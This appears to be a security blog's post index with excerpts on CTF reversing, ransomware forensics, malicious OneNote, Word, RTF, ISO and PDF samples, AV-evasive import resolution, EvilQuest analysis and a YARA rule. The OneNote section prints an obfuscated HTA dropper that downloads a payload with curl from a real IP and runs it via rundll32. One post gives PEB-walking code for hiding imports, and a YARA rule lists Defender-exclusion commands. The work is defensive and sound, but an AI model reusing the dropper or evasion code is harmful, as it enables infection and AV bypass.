6 34 BUILD_LIST 0 36 STORE_FAST 4 (key) 7 38 LOAD_FAST 3 (key_bytes) 40 GET_ITER >> 42 FOR_ITER 9 (to 62) 44 STORE_FAST 5 (k_b) 8 46 LOAD_FAST 4 (key) 48 LOAD_METHOD 4 (append) 50 LOAD_FAST 5 (k_b) 52 LOAD_CONST 5 (160) 54 BINARY_XOR 56 CALL_METHOD 1 58 POP_TOP 60 JUMP_ABSOLUTE 21 (to 42) 10 >> 62 LOAD_GLOBAL 5 (bytes) 64 LOAD_FAST 4 (key) 66 CALL_FUNCTION 1 68 STORE_FAST 4 (key) 11 70 LOAD_FAST 1 (Fernet) 72 LOAD_FAST 4 (key) 74 CALL_FUNCTION 1 76 STORE_FAST 6 (fernet) 12 78 LOAD_FAST 6 (fernet) 80 LOAD_METHOD 6 (decrypt) 82 LOAD_FAST 2 (encMessage) 84 CALL_METHOD 1 86 LOAD_METHOD 7 (decode) 88 CALL_METHOD 0 90 STORE_FAST 7 (decMessage) 13 92 LOAD_GLOBAL 8 (print) 94 LOAD_FAST 7 (decMessage) 96 CALL_FUNCTION 1 98 POP_TOP 100 LOAD_CONST 0 (None) 102 RETURN_VALUE N
75one You will notice by looking carefully at the use of the fornet module for encrypting the FLAG So take a look at the fornet documentation and you will notice a lot of similarities between the assembly and the code presented there. just the key is not randomly generated itâs base64 encoded value XORed with key â160â here is the script that can reverse it back note: the script takes the assembly file as an argument. from cryptography.fernet import Fernet import base64 key_bytes=base64.b64decode(b'7PXy9PSZmf/r5pXB79LW1cj/7JT6ltPEmfjk8sHljfr6x/LyyfjymNXR5Z0=') _key = [] for k_b in key_bytes: _key.append(k_b^160) key = bytes(_key) f = Fernet(key) token = b'gAAAAABj7Xd90ySo11DSFyX8t-9QIQvAPmU40mWQfpq856jFl1rpwvm1kyE1w23fyyAAd9riXt-JJA9v6BEcsq6LNroZTnjExjFur_tEp0OLJv0c_8BD3bg=' decmessage= f.decrypt(token).decode(\"utf-8\") print(decmessage) And here is the result. Letâs Go We are given a Linux binary which also asks for Flag to check if itâs right. So for reversing I used a remote debugging session from Linux to my windows machine. I found the binary is not stripped which makes it easier than itâs There are two paths in that binary the first one is doing something to our input and the second one is comparing the result to a constant value. u507rv78qr5t6q99941422uursv94464 So letâs check what happens in our input. Here we have three paths to follow and the variable that determines which of them will be taken is an operation on the input character. To make it easy, the assembly here checks where is the region of the character in the ASCII table. and take an action based on if itâs Small Letter Capital Letter Number Symbol And if itâs a letter, it will add 16 to its ASCII code. So we need to subtract 16 from each char in our constant to get our flag. So our flag will be e507bf78ab5d6a99941222eebcf94464 0xL4UGH{e507bf78ab5d6a99941222eebcf94464} ","categories": ["CTF"], 76 "tags": [], 77 "url": "/ctf/0xL4ugh/", 78 "teaser": "/assets/images/CTF/0xL4ugh/path.png" 79 },{ 80 "title": "RansomeWare Investigation",
81 "excerpt":"OverView We are presented with a Disk image and a memory Dump from a computer infected with malware, this data is coming actually from a CTF I recently participated in but I found this challenge very realistic so I decided to make a detailed analysis for it, and also because I shocked with the number of people that Donât understand about what a forensics investigator required to do in real life. Memory Image Verification At the very beginning of dealing with any Memory image in the volatility framework, we need to get the profile of the image with the command vol.py -f Wanna-MEM.vmem imageinfo Note: Volatility comes preloaded with windows profiles only so if you are dealing with Linux or mac profile you can simply use \"strings\" and grep for the word version and then load the required profile from their GitHub page yourself. Identify the infection point to identify the infection point I always start by looking for suspicious processes and where they came from. for doing that I will list all the processes in a parent-child format using the plugin âpstreeâ vol.py -f Wanna-MEM.vmem --profile=Win10x64_19041 pstree Immediately you can identify very suspicious behavior of a word document spawning an executable. Now we can be sure that this is caused by a phishing word document. but where to find this document?! We can use another plugin called âcmdlineâ to show which command line the word process opened with vol.py -f Wanna-MEM.vmem --profile=Win10x64_19041 cmdline We now know where is the word file in the device and we can get it and continue our investigation, but before that, we need to know how it arrived for us and from where it came. Email Investigation By looking at the processes running in the memory image we will notice an outlook process which tells us that this is the email client used in the device. With a small search, you can find that outlook keeps its data stored in âostâ file in the location. C:\\\\%USERNAME%\\AppData\\Local\\Microsoft\\Outlook From our disk image, we can get the âostâ file using FTKImager. We can right-click and export it to our device, then using a tool called âKernel for ost to pstâ we can convert it to pst. if you carefully looked at the sendersâ emails you will notice a small difference between the HR emails one of them is [email protected] and the other is [email protected] which is a trick used in phishing to fool the user. Attachment investigation Going to the path found earlier in the memory dump for the word file which is on the desktop of tamar user we see the document there. We can export it and continue with the analysis. And here is the document asking us to enable content. Let us show the macro in that attachment that will be executed once the content is enabled. This is a simple macro that will download a file named thunder to the path âC:\\Users\\Public\\Documents\\Thunder.exeâ Droped file automated analysis By uploading the file to virus total we can see that almost all the AV products recognized it as the famous WannaCry Ransomware As we are focusing on forensics itself we are going to do Malware analysis here and also WannaCry has a lot of analysis reports out there. ","categories": ["Forensic investigation"], 82 "tags": [], 83 "url": "/forensic%20investigation/RansomWare-Investigation/", 84 "teaser": "/assets/images/forensic-investigation/RansomWare-Investigation/profile.png" 85 },{ 86 "title": "Malicious Documents", 87 "excerpt":"Malicious OneNote Sample info We are given a Sample OneNote file with hash sha256 \"a870d31caea7f6925f41b581b98c35b162738034d5d86c0c27c5a8d78404e860\" I always like to start my analysis using the two utilities âfile & stringsâ So running file utility returned that. Not so interesting I know, but Strings output looks very interesting. The JavaScript code here doesnât have that much obfuscation. <html> <div id=\"content\">f5&u5&n5&c5&t5&i5&o5&n5& 5&s5&l5&e5&e5&p5&(5&m5&i5&l5&l5&i5&s5&)5&{5&v5&a5&r5& 5&d5&a5&t5&e5& 5&=5& 5&n5&e5&w5& 5&D5&a5&t5&e5&(5&)5&;5&v5&a5&r5& 5&c5&u5&r5&D5&a5&t5&e5& 5&=5& 5&n5&u5&l5&l5&;5&d5&o5& 5&{5& 5&c5&u5&r5&D5&a5&t5&e5& 5&=5& 5&n5&e5&w5& 5&D5&a5&t5&e5&(5&)5&;5& 5&}5&w5&h5&i5&l5&e5&(5&c5&u5&r5&D5&a5&t5&e5& 5&-5& 5&d5&a5&t5&e5& 5&<5& 5&m5&i5&l5&l5&i5&s5&)5&;5&}5&/5&*5&*5& 5&v5&a5&r5& 5&u5&r5&l5& 5&=5& 5&\"5&h5&t5&t5&p5&s5&:5&/5&/5&g5&o5&o5&g5&l5&e5&.5&c5&o5&m5&\"5&;5& 5&*5&/5&n5&e5&w5& 5&A5&c5&t5&i5&v5&e5&X5&O5&b5&j5&e5&c5&t5&(5&\"5&w5&s5&c5&r5&i5&p5&t5&.5&s5&h5&e5&l5&l5&\"5&)5&.5&r5&u5&n5&(5&\"5&c5&u5&r5&l5&.5&e5&x5&e5& 5&-5&-5&o5&u5&t5&p5&u5&t5& 5&C5&:5&\\5&\\5&P5&r5&o5&g5&r5&a5&m5&D5&a5&t5&a5&\\5&\\5&i5&n5&d5&e5&x5&15&.5&p5&n5&g5& 5&-5&-5&u5&r5&l5& 5&\"5& 5&+5& 5&u5&r5&l5&,5& 5&05&)5&;5&s5&l5&e5&e5&p5&(5&15&55&05&05&05&)5&;5&v5&a5&r5& 5&s5&h5&e5&l5&l5& 5&=5& 5&n5&e5&w5& 5&A5&c5&t5&i5&v5&e5&X5&O5&b5&j5&e5&c5&t5&(5&\"5&s5&h5&e5&l5&l5&.5&a5&p5&p5&l5&i5&c5&a5&t5&i5&o5&n5&\"5&)5&;5&s5&h5&e5&l5&l5&.5&s5&h5&e5&l5&l5&e5&x5&e5&c5&u5&t5&e5&(5&\"5&r5&u5&n5&d5&l5&l5&35&25&\"5&,5& 5&\"5&C5&:5&\\5&\\5&P5&r5&o5&g5&r5&a5&m5&D5&a5&t5&a5&\\5&\\5&i5&n5&d5&e5&x5&15&.5&p5&n5&g5&,5&W5&i5&n5&d5&\"5&,5& 5&\"5&\"5&,5& 5&\"5&o5&p5&e5&n5&\"5&,5& 5&35&)5&;5&</div> <script language=\"javascript\"> var h3 = \"800de15c79c8d840f4e78d3af937d4d4\"; var content = document.getElementById(\"content\").innerText; </script> <script language=\"vbscript\"> Dim WshShell : Set WshShell = CreateObject(\"WScript.Shell\") ' Write reg WshShell.RegWrite \"HKCU\\SOFTWARE\\Xeonitox\\MP3Conv\\Cfg\", content, \"REG_SZ\" ' msgbox WshShell.RegRead(\"HKCU\\SOFTWARE\\Xeonitox\\MP3Conv\\Cfg\") </script> <script language=\"javascript\"> var body = WshShell.RegRead(\"HKCU\\\\SOFTWARE\\\\Xeonitox\\\\MP3Conv\\\\Cfg\"); var func = Function(\"url\", body.replace(/5&/g, \"\")); func(\"http://139.99.117.17/39444.dat\"); </script> <script language=\"vbscript\"> WshShell.RegDelete(\"HKCU\\SOFTWARE\\Xeonitox\\MP3Conv\\Cfg\") ' Close window window.close </script> </html> Itâs just a simple replacement for the â5&â with nothing. here is the deobfuscated code. function sleep(millis){ var date = new Date(); var curDate = null; do { curDate = new Date(); } while(curDate - date < millis); }/** var url = \"https://google.com\"; */ new ActiveXObject(\"wscript.shell\").run(\"curl.exe --output C:\\\\ProgramData\\\\index1.png --url \" + url, 0); sleep(15000); var shell = new ActiveXObject(\"shell.application\");shell.shellexecute(\"rundll32\", \"C:\\\\ProgramData\\\\index1.png,Wind\", \"\", \"open\", 3); The Script is pretty easy itâs just downloading a file from a remote server and executing it using ârundll32â So itâs downloading a dll file and passing the parameter âwindâ to the rundll32 also with a parameter to png file which may be for evasion reasons. Tricking method The most popular way for tricking users to trigger the payload in OneNote can be shown in the following picture. This is what you will see if you opened the note, as you can imagine the only thing you can do is click the open button. But actually, itâs not a button, itâs a small picture that is alligned above an HTA file which is the script we saw before. So clicking the open button is actually triggering the HTA file. Malicious Word Document Campain info The attack is believed to be part of the nobilium campaign which is targeting the Israel ambassador and all the people will have the curiosity to know their secrets throw encrypted word document file needs the user to enable content to decrypt it. Droper analysis the attack starts by sending an email attachment with a word document named âAmbassad
87or_Absense.docxâ You thought that â.docxâ documents are safe?!! the first look at the file shows us that it has encrypted content and needs you to enable content to decrypt it. Using âoledumpâ we can see the embedded files on it then we can use âoleobjâ to extract the hta stream from the document Now we have this javascript & VBScript to deal with which contains a huge array and a decryption routine and execution script. the decryption is so simple itâs just xor with hard codded key then adding the âmzâ header to the decrypted DLL file then executing it using ârundll32.exeâ the file is dropped to âC:\\Users\\user\\AppData\\Local\\Temp..\\IconCacheService.dllâ Now itâs time to analyze the Dropped file. Droped file analysis checking the file type and sha256sum and performing basic static analysis on different techniques like imports, strings, entropy,â¦etc Here we notice that the malware has a TLS section means that there is a tls call-back function that will run before the start point of the application as an anti-debugging or VM technique. Then looking into the exported functions we can quickly understand what this piece of malware does which is to gather the information from the infected machine and send it back to the C2 Server. Malicious RTF Sample info We are given a RTF File with the hash sha256 9681ef910820d553e4cd54286f8893850a3a57a29df7114c6a6b0d89362ff326 This is confirmed using the âfileâ utility to be an RTF Analyzing At the start, I looked for any OleObject embedded using the command rtfdump.py -f O unknown.rtf note : unknown is the name of the file To take a look at each stream use the â-sâ argument and the corresponding number rtfdump has assigned it. rtfdump.py -s 540 -H unknown.rtf And as expected we see the magic bytes of an OleObject and a bunch of data. And in one of the OleObjects, we can see âEquation2â which will indicate that this rtf file is trying to exploit a vulnerability in that application to drop the file that you can see in the first OleObject âghb4nrwmp.wmfâ Malicious ISO Sample info We are given a sample with hash sha256 a063b8a55c4ee1bee4f58ff27b312459b80c8895be0addaa069809a9eb7a1036 For parsing iso files, there is a python library called âisoparserâ which you can download using the command⦠pip install isoparser you can create an iso object from a .iso file, and then I list the children of the root object import isoparser iso = isoparser.parse('unknown.iso') iso.root.children The root folder contains one fileâFEDEX AWB.EXEâ. Looking into the content of file âFEDEX AWB.EXEâ I see the header is MZ. here is a small python script that can extract the children executable to stdout⦠import isoparser import sys import os oIsoparser = isoparser.parse(sys.argv[1]) if sys.platform == 'win32': import msvcrt msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY) sys.stdout.buffer.write(oIsoparser.root.children[0].content) And now we have our output Malicious PDF Description the network traffic of an incident is captured and your job is to investigate it and know how the machine is compromised and extract The IOCs. Pcap analysis at the start, we will follow the HTTP stream that led us to the download of the malicious pdf. the malicious link starts with requesting an HTML file that contains just javascript code since we already have a packet capture that tells us the results of its execution we donât need to analyze it. the js code sends a request asking for a PHP file which redirects the request to another site to download the malicious pdf. once we extracted the pdf from the traffic we can start analyzing it. PDF analysis using âpdfidâ to display info about the pdf We notice that the pdf itself contains js code. âpeepdfâ tool can also give us good information about the pdf using interactive mode â-ifâ Now we can extract the js code and then beautify it with any online js beautifiers this is the final result. now itâs time to deobfuscate the script via renaming and reconstructing the logic of it here is what we get we notice that the final payload which gets passed to the âevalâ function is gotten from another annotation object from the pdf so we will search for these objects. using the tree command we found that annotations are on objects 24,6,8 following these objects we finally found the pattern that is found in the first stage of the js code. now we will use a python script to decode it. running the script and saving the output to stage2.js then beautifying it we have the following code. we need to apply the same method with the other decoded js in the annotation pdf objects â9 & 7â. by extracting and decoding each of them the first one will give us the first part of stage3.js here is the last part of it. The second one will c
87ontinue to give us the second part of the stage3.js. here is the first part of it. By looking at the start of the code execution you will notice that it searches for specific versions of the application and depending on the version of the pdf viewer it will choose the exploit. ","categories": ["Malware Analysis"], 88 "tags": [], 89 "url": "/malware%20analysis/Mal-Docs/", 90 "teaser": "/assets/images/malware-analysis/mal-docs/javascript.png" 91 },{ 92 "title": "Advanced Imports Obfuscation", 93 "excerpt":"OverView Imports are a great place to look at when you need to identify âquicklyâ if the file is suspicious âand thatâs one of the indicators that AVs also make decisions by looking atâ, So we always notice malware authors try to resolve the needed malicious APIs in runtime using âGetProcAddressâ and âGetModuleHandleâ APIs, But these functions also get flagged sometimes. So why not to make it harder for AVs, Letâs implement our own functions that will get the job done by just parsing our fileâs PE Structures. Note: I will mention how you can recognize the use of this technique as a malware analyst by explaining with Source code and assembly code. Some Needed Structures As I said we will heavily depend on PE Structures So here is the structure for some of the needed Structures. The contents of the structures are copied from MSDN and other non-official documentation. struct PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; BOOLEAN ShutdownInProgress; HANDLE ShutdownThreadId; }; struct PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN IsPackagedProcess : 1; BOOLEAN IsAppContainer : 1; BOOLEAN IsProtectedProcessLight : 1; BOOLEAN SpareBits : 1; }; }; HANDLE Mutant; PVOID ImageBaseAddress; PEB_LDR_DATA* Ldr; //... }; struct UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWCH Buffer; }; struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; union { LIST_ENTRY InInitializationOrderLinks; LIST_ENTRY InProgressLinks; }; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; //... }; Letâs start with the simple one GetModuleHandle Implementation âSource Codeâ This will be one Argument function that holds the name of the DLL which we need to get its base address. HMODULE WINAPI hlpGetModuleHandle(LPCWSTR sModuleName); At start, we need to get the address of the âPEBâ Structure which is where we could start. #ifdef _M_IX86 PEB * ProcEnvBlk = (PEB *) __readfsdword(0x30); #else PEB * ProcEnvBlk = (PEB *)__readgsqword(0x60); #endif The PEB->LDR is a Structure that Contains a linked list that holds info about loaded modules, and the LDR->InMemoryOrderModuleList is a pointer to the start of this Linked list. PEB_LDR_DATA * Ldr = ProcEnvBlk->Ldr; LIST_ENTRY * ModuleList = &Ldr->InMemoryOrderModuleList; LIST_ENTRY * pStartListEntry = ModuleList->Flink; So we can easily loop over each entry on the list, get its LDR_DATA_TABLE_ENTRY, and compare the name of the module with our argument(desired module name), If there is a match, the job is done. for (LIST_ENTRY * pListEntry = pStartListEntry; pListEntry != ModuleList; pListEntry = pListEntry->Flink) { // get current Data Table Entry LDR_DATA_TABLE_ENTRY * pEntry = (LDR_DATA_TABLE_ENTRY *) ((BYTE *) pListEntry - sizeof(LIST_ENTRY)); // check if the module is found and return its base address if (lstrcmpiW(pEntry->BaseDllName.Buffer, sModuleName) == 0) return (HMODULE) pEntry->DllBase; } GetModuleHandle Implementation âAssemblyâ As explained earlier the function is one argument function, and
93you can also notice how the function started with getting the address of the PEB Structure. So the next step is to get the LDR offset inside the PEB Structure, then get the InMemoryOrderModuleList offset inside LDR structure. And thatâs what happened here mov edi, large fs:30h // x86 build ... mov edi, [edi+0Ch] add edi, 14h Then our loop for testing the held module name with our argument takes the rest of the job. Easy right?!! hopes to continue like so. GetProcAddress Implementation âSource Codeâ This will be two arguments function, the first is the base address of the module returned by the previous âGetModuleHandleâ function, and the second is the name of the API that needed to be resolved from this dll. As we are going to start parsing the dll from its base address we need to obtain the addresses of its main headers and itâs IMAGE_EXPORT_DIRECTORY what is this?!! Actually, we have three ways to call a function inside a DLL Using: Name Ordinal Address Both the âName & Ordinalâ is translated to âAddressesâ. But all the three are stored somewhere pointed to by a pointer inside that IMAGE_EXPORT_DIRECTORY as you can see in the following structure. public struct IMAGE_EXPORT_DIRECTORY { public UInt32 Characteristics; public UInt32 TimeDateStamp; public UInt16 MajorVersion; public UInt16 MinorVersion; public UInt32 Name; public UInt32 Base; public UInt32 NumberOfFunctions; public UInt32 NumberOfNames; public UInt32 AddressOfFunctions; // RVA from base of image public UInt32 AddressOfNames; // RVA from base of image public UInt32 AddressOfNameOrdinals; // RVA from base of image } So hereâs what we need. IMAGE_DOS_HEADER * pDosHdr = (IMAGE_DOS_HEADER *) pBaseAddr; IMAGE_NT_HEADERS * pNTHdr = (IMAGE_NT_HEADERS *) (pBaseAddr + pDosHdr->e_lfanew); IMAGE_OPTIONAL_HEADER * pOptionalHdr = &pNTHdr->OptionalHeader; IMAGE_DATA_DIRECTORY * pExportDataDir = (IMAGE_DATA_DIRECTORY *) (&pOptionalHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]); IMAGE_EXPORT_DIRECTORY * pExportDirAddr = (IMAGE_EXPORT_DIRECTORY *) (pBaseAddr + pExportDataDir->VirtualAddress); We will start by resolving the previously mentioned pointers to the exported functions. DWORD * pEAT = (DWORD *) (pBaseAddr + pExportDirAddr->AddressOfFunctions); DWORD * pFuncNameTbl = (DWORD *) (pBaseAddr + pExportDirAddr->AddressOfNames); WORD * pOrdTbl = (WORD *) (pBaseAddr + pExportDirAddr->AddressOfNameOrdinals); Now we can loop over all the exported functions looking for the one we are interested in. for (DWORD i = 0; i < pExportDirAddr->NumberOfNames; i++) { char * sTmpFuncName = (char *) pBaseAddr + (DWORD_PTR) pFuncNameTbl[i]; if (strcmp(sProcName, sTmpFuncName) == 0) { // If found, get the function virtual address = RVA + BaseAddr pProcAddr = (FARPROC) (pBaseAddr + (DWORD_PTR) pEAT[pHintsTbl[i]]); break; } } We can also do the same using ordinals. if (((DWORD_PTR)sProcName >> 16) == 0) { WORD ordinal = (WORD) sProcName & 0xFFFF; // convert to WORD DWORD Base = pExportDirAddr->Base; // get first ordinal number // check if the ordinal is out of scope if (ordinal < Base || ordinal >= Base + pExportDirAddr->NumberOfFunctions) return NULL; // If found, get the function virtual address = RVA + BaseAddr pProcAddr = (FARPROC) (pBaseAddr + (DWORD_PTR) pEAT[ordinal - Base]); } That may looks working fine for you, but actually there is an important check that needs to be done before returning the result of the function address. DLLs have some exported functions in their âIMAGE_EXPORT_DIRECTORYâ but they actually donât belong to them, instead, they are pointing to another dll, In this case, the returned pointer will be a string in the following format library.function. So we have two checks here needed to be done: Is returned address is out of this DLL Is the other DLL actually loaded in our process memory The first check can easily be done by checking if the returned address is in the address space of the DLL. if ((char *) pProcAddr >= (char *) pExportDirAddr && (char *) pProcAddr < (char *) (pExportDirAddr + pExportDataDir->Size)) If this is the case we can recursively call our implemented âGetModuleHandleâ & âGetProcAddressâ to resolve the âLoadLibraryâ API to Load the needed DLL to our Proccesâ memory space, then resolve the needed function. pLoadLibraryA = (LoadLibrary_t) hlpGetProcAddress(hlpGetModuleHandle(L\"KERNEL32.DLL\"), \"Loa
93dLibraryA\"); //... pProcAddr = hlpGetProcAddress(hLoadedLibrary, sNeededFunction); GetProcAddress Implementation âAssembly Codeâ We can see ebp has the base address of the DLL and the offsets from that address is the addresses of the previously mentioned structures. After that, you will enter a loop that tries to find the needed function from the DLLâs Export table. You can notice that by looking at the values of the registers during the loop. you will notice your argument(the function needed) is stored in a register(or maybe in the stack) and another register that keeps updating each round of the loop with different exported function from the table, and both of them is compared with each other. In the case of the function being out of the DLL, you will notice a string operation on the output which is previously mentioned to be in the format library.function to split both of them and recursively loads the library and gets the function address in the same way. ","categories": ["Malware Analysis"], 94 "tags": [], 95 "url": "/malware%20analysis/Advanced_Imports_Obfuscation/", 96 "teaser": "/assets/images/malware-analysis/Advanced_Imports_Obfuscation/wall.png" 97 },{ 98 "title": "EvilQuest macOS Ransomware", 99 "excerpt":"Mac OS Malware Analysis This wonât be just an analysis of the âEvilQuestâ ransomware, I will be explaining in detail some internals and things that are done in different ways between Mac & windows Os. OverView In the last few days, I spent some time learning about MacOsâ malware, Studying File Format for Mach-O executables, and more about the environment itself. I am new to this area and I know that I may be missing some important internal stuff for MacOs until the time of writing this blog post but I was shocked by what I will mention here. I am running this version of Mac Os It was a standard installation process means that it contains all the defaults. But when I downloaded the âEvilQuestâ sample the was nothing preventing me from doing that and also nothing preventing the ransomware from infecting the device, although the sample has a high score on virus total. File Structure We are presented with an x64 Mach-O file. A Mach-O file consists of three major regions â a header, load commands, and segments. You can use the built-in tool otool to parse object files.â for more options use the man pageâ Header struct mach_header { unsigned long magic; /* Mach magic number identifier */ cpu_type_t cputype; /* cpu specifier */ cpu_subtype_t cpusubtype; /* machine specifier */ unsigned long filetype; /* type of file */ unsigned long ncmds; /* number of load commands */ unsigned long sizeofcmds; /* size of all load commands */ unsigned long flags; /* flags */ }; Load Commands: Variable size commands that specify the layout and linkage characteristics of the file. Can specify the initial layout of the file in virtual memory, location of the symbols table, initial execution state of the main thread, names of shared libraries for imported symbols, and more⦠there is a big number of load commands so you can find more about them in the resources. As an example of what you can find in âLoad Commandsâ for our malware, Here are the two commands shown the first on is showing where are the main of the file is, and the second one shows what libraries needed by the file. Segmants Segments are somehow the same concept of dividing the content of the file into Code and data and applying specific write, read, and execute permissions to each one. Code Analysis I am using Ida pro in a Remote debugging session to analyze the sample. Args Check The file starts by checking the arguments supplied and based on that it initializes some local variables. there is three command line arguments: âsilent ânoroot â ignrp Anti-VM The file then starts a function that checks if itâs running inside a VM Itâs a simple implementation of checking for VM using execution time. âActually this implementation never catched my VMâ I think this because itâs not implemented for our VMs but itâs for sandboxes that speed up any delay. Enum user Info After that, there is a function called âuser_infoâ that gets the âHOMEâ path and the âUI
99Dâ of the user. Enumerating Privileges The file is then called a function called âextract_eiâ the function takes two arguments one of them is a path to itself. Then the start in that function is with a call to âstat$INODE64â, and by searching on the man page we can find that this a function to get info about the file passed as an argument to it. the returned structure is the following⦠struct stat64 { dev_t st_dev; /* ID of device containing file */ mode_t st_mode; /* Mode of file (see below) */ nlink_t st_nlink; /* Number of hard links */ ino64_t st_ino; /* File serial number */ uid_t st_uid; /* User ID of the file */ gid_t st_gid; /* Group ID of the file */ dev_t st_rdev; /* Device ID */ struct timespec st_atimespec; /* time of last access */ struct timespec st_mtimespec; /* time of last data modification */ struct timespec st_ctimespec; /* time of last status change */ struct timespec st_birthtimespec; /* time of file creation(birth) */ off_t st_size; /* file size, in bytes */ blkcnt_t st_blocks; /* blocks allocated for file */ blksize_t st_blksize; /* optimal blocksize for I/O */ uint32_t st_flags; /* user defined flags for file */ uint32_t st_gen; /* file generation number */ int32_t st_lspare; /* RESERVED: DO NOT USE! */ int64_t st_qspare[2]; /* RESERVED: DO NOT USE! */ }; Then opening a handle to itself. The file then locks itself for other threads and parses the returned state. Anti-Debugging The file then calls a function called âei_persistence_mainâ that likely does the persistence but before that it performs s
99ome anti-debugging by checking for a debugger or itâs being traced or unwanted processes. Check if the process is being debugged Let me explain how this happens in Mac Os Sysctl is a function used to read kernel parameters which has info about the process then uses the âandâ operation to check for the bit that indicates debugging if itâs set. The second is to check if being traced. calling this function will terminate the process if itâs traced which is what debuggers do. So I patched the call for it. The next one is killing unwanted processes there is a function called âkill_unwantedâ that takes an array of encrypted data that will be decrypted to names which the file checks if itâs presented in the processes returned by the call to âGet_process_listâ function. These names are Little Snitch Kaspersky Norton Avast DrWeb Mcaffee Bitdefender In the next function, the file copies an executable to a hidden file in the â/Users/$USERNAME/Libraryâ Then changing its execution permissions. And then copying itself to the Library folder It checks if the folder exists before doing that and creates it if itâs not. Persistence After that, there is a call to a function âinstall_deamonâ the deamon in Unix systems is a process running in the background like the service in the windows world. But how that happens?!. Inside each userâs home there is a folder called âLaunchAgentsâ and another one for all the machine users in the global Library folder called âLaunchDeamonsâ these folders contain files that each one has info about the files that will run as deamon, this files that store that info are âpslistâ files, and its content is XML looks like this. After that, it forks the deamon as a new process using âlaunchctlâ utility with the command line ââsilentâ So I will run it again passing this parameter. Actual capapilities As we discovered that the malware executes it self after persistence with the parameter ââsilentâ so we will trace the execution. The same checks that done before it is executed The trick here is that the file keeps forking itself many times and checks for that number inside the âcheck_if_runningâ function, so we need to spoof that result to continue to the actual functionality. C&C The malware starts to decrypt its C2 domain in the function âeiht_get_updateâ which in our sample is andrewka6.pythonanywhere.com the site is up at the time of the analysis but there is no response for the first request that hits the â/ret.txtâ on the C2. the malware checks if there is a response and because there wasnât it decoded another URL 167.71.237.219 Collecting Host Info After that, the malware starts to collect some info about the host in the function âei_get_host_infoâ and sends them to the decrypted IP. the collected info are: uname language username hostname Stealing files Before the encryption starts the attacker tries to exfiltrate files that seem to be important in the thread created to start the function âei_forensic_threadâ by packing the file and sending it. Encrypting process The file checks if there is a specific time passed from the initialization of the timers and if that happens it will start the encryption process in the function called âei_carver_mainâ steps: Creates a temporary filename by calling a function named make_temp_name Opens the target file for reading Checks if the target file is already encrypted with a call to a function named is_carved, which checks for the presence of 0xddbebabe at the end of the file Opens the temporary file for writing Reads 0x4000-byte chunks from the target file Invokes a function named tpcrypt to encrypt the 0x4000 bytes Writes out the encrypted bytes to the temporary file Repeats until all bytes read and encrypted from the target file Invokes a function named eip_encrypt to encrypt keying information, which is then appended to the temporary file Writes 0xddbebabe to the end of the temporary file Deletes the target file Renames the temporary file to the target file After the encryption process ends the code starts to decode the ransom note content Then showing it on the screen of the device with an alert. Resources olszanowski.blog wikipedia ","categories": ["Malware Analysis"], 100 "tags": [], 101 "url": "/malware%20analysis/EvilQuest/", 102 "teaser": "/assets/images/malware-analysis/EvilQuest/msg.png" 103 },{ 104 "title": "AveMariaRAT_Mass_Detection", 105 "excerpt":"Summery You Can find the results from this research on my Github here: Yara Rule for Detection AveMaria(WareZone)RAT Python Configuration Extractors There are two Configuration Extractors(the explanation mentioned in the blog post) If standerd RC4 If NonStanderd RC4 OverVie
105w This will not be a detailed analysis of the sample as I did in a previous blog post you can find it here âAveMariaRAT Detailed Analysisâ. Instead, I will cover how to Detect it using a Yara rule and testing it against a large number of samples, and also writing a Configuration extractor for it. I am using two samples to test my yara when writing the rule and then I will extend the testing against a bigger number of samples once finished. where to start?! This a good question and today there is one that is like to be asked which is chatGPT so why not to ask him?!! File headers As we are looking for PE files we will specify the âMZâ header to be at the beginning of the file. $mz = {4D 5A} //MZ header And I added also a file size check to look for files smaller than 300k filesize < 300KB Strings Itâs a good place to start looking for Individuals. I found some strings that may look promising. cmd.exe /C ping 1.2.3.4 -n 4 -w 1000 > Nul & cmd.exe /C cmd.exe /C ping 1.2.3.4 -n 2 -w 1000 > Nul & Del /f /q powershell Add-MpPreference -ExclusionPath Until now the yara detects both of the samples so let us continue. Byte Sequence AveMaria is known to have PE files encrypted in the resources section and in some place in the file it will be read and decrypted. Code Sections In this area we have different options The first one is performing manual analysis for functions and looking for the functions that will luckily be the same, But as I said I wonât do a detailed analysis, So I will go with the second option which is using similarity between the two samples that we have using a binary diffing tool like bindiff plugin. A good place to look at when looking for persistent code sections is the decryption algorithms. look At this You can notice that the functions are identical In the operation but not in the byte code sequence, So I decided to use the integer values âKeysâ and add them to my rule. Final 1 Before Testing So until now this is our rule rule AveMaria : RAT { meta: description = \"Detection Rule for AveMaria(warzone) RAT\" email = \"[email protected]\" author = \"Amr Ashraf\" strings: $mz = {4D 5A} // MZ header $string1 = \"cmd.exe /C ping 1.2.3.4 -n 4 -w 1000 > Nul & cmd.exe /C\" $string2 = \"cmd.exe /C ping 1.2.3.4 -n 2 -w 1000 > Nul & Del /f /q\" $string3 = \"powershell Add-MpPreference -ExclusionPath\" $K_1 = {35 AE B2 C2} $K_2 = {6B CA EB 85} $rcrs_seq = {45 45 45 C6 A9 55 CE 05 49 16 13 12 CE 0D 49 AC CC 45 45 45 CE 04 75 76 B3 CE 1C 69 CE 4C CC 00} condition: $mz at 0 and 2 of ($string*) or $rcrs_seq and $K_1 and $K_2 and filesize < 300KB } And it actually caught both of the samples that I am working on, But definitely, We canât depend on that to say that itâs working because we used them in the process of writing, so we need to get more samples and test our rule against them. Retrive Samples There are two free services that I use to retrieve samples via API, they are Triage and MalwareBazaar You can use this code to download Samples from triage just pass the family name and how many samples you need. import requests import json import argparse import os # Set up the command line argument parser parser = argparse.ArgumentParser(description=\"Fetch samples from the Triage API\") parser.add_argument(\"query_string\", help=\"The search query string to use\") 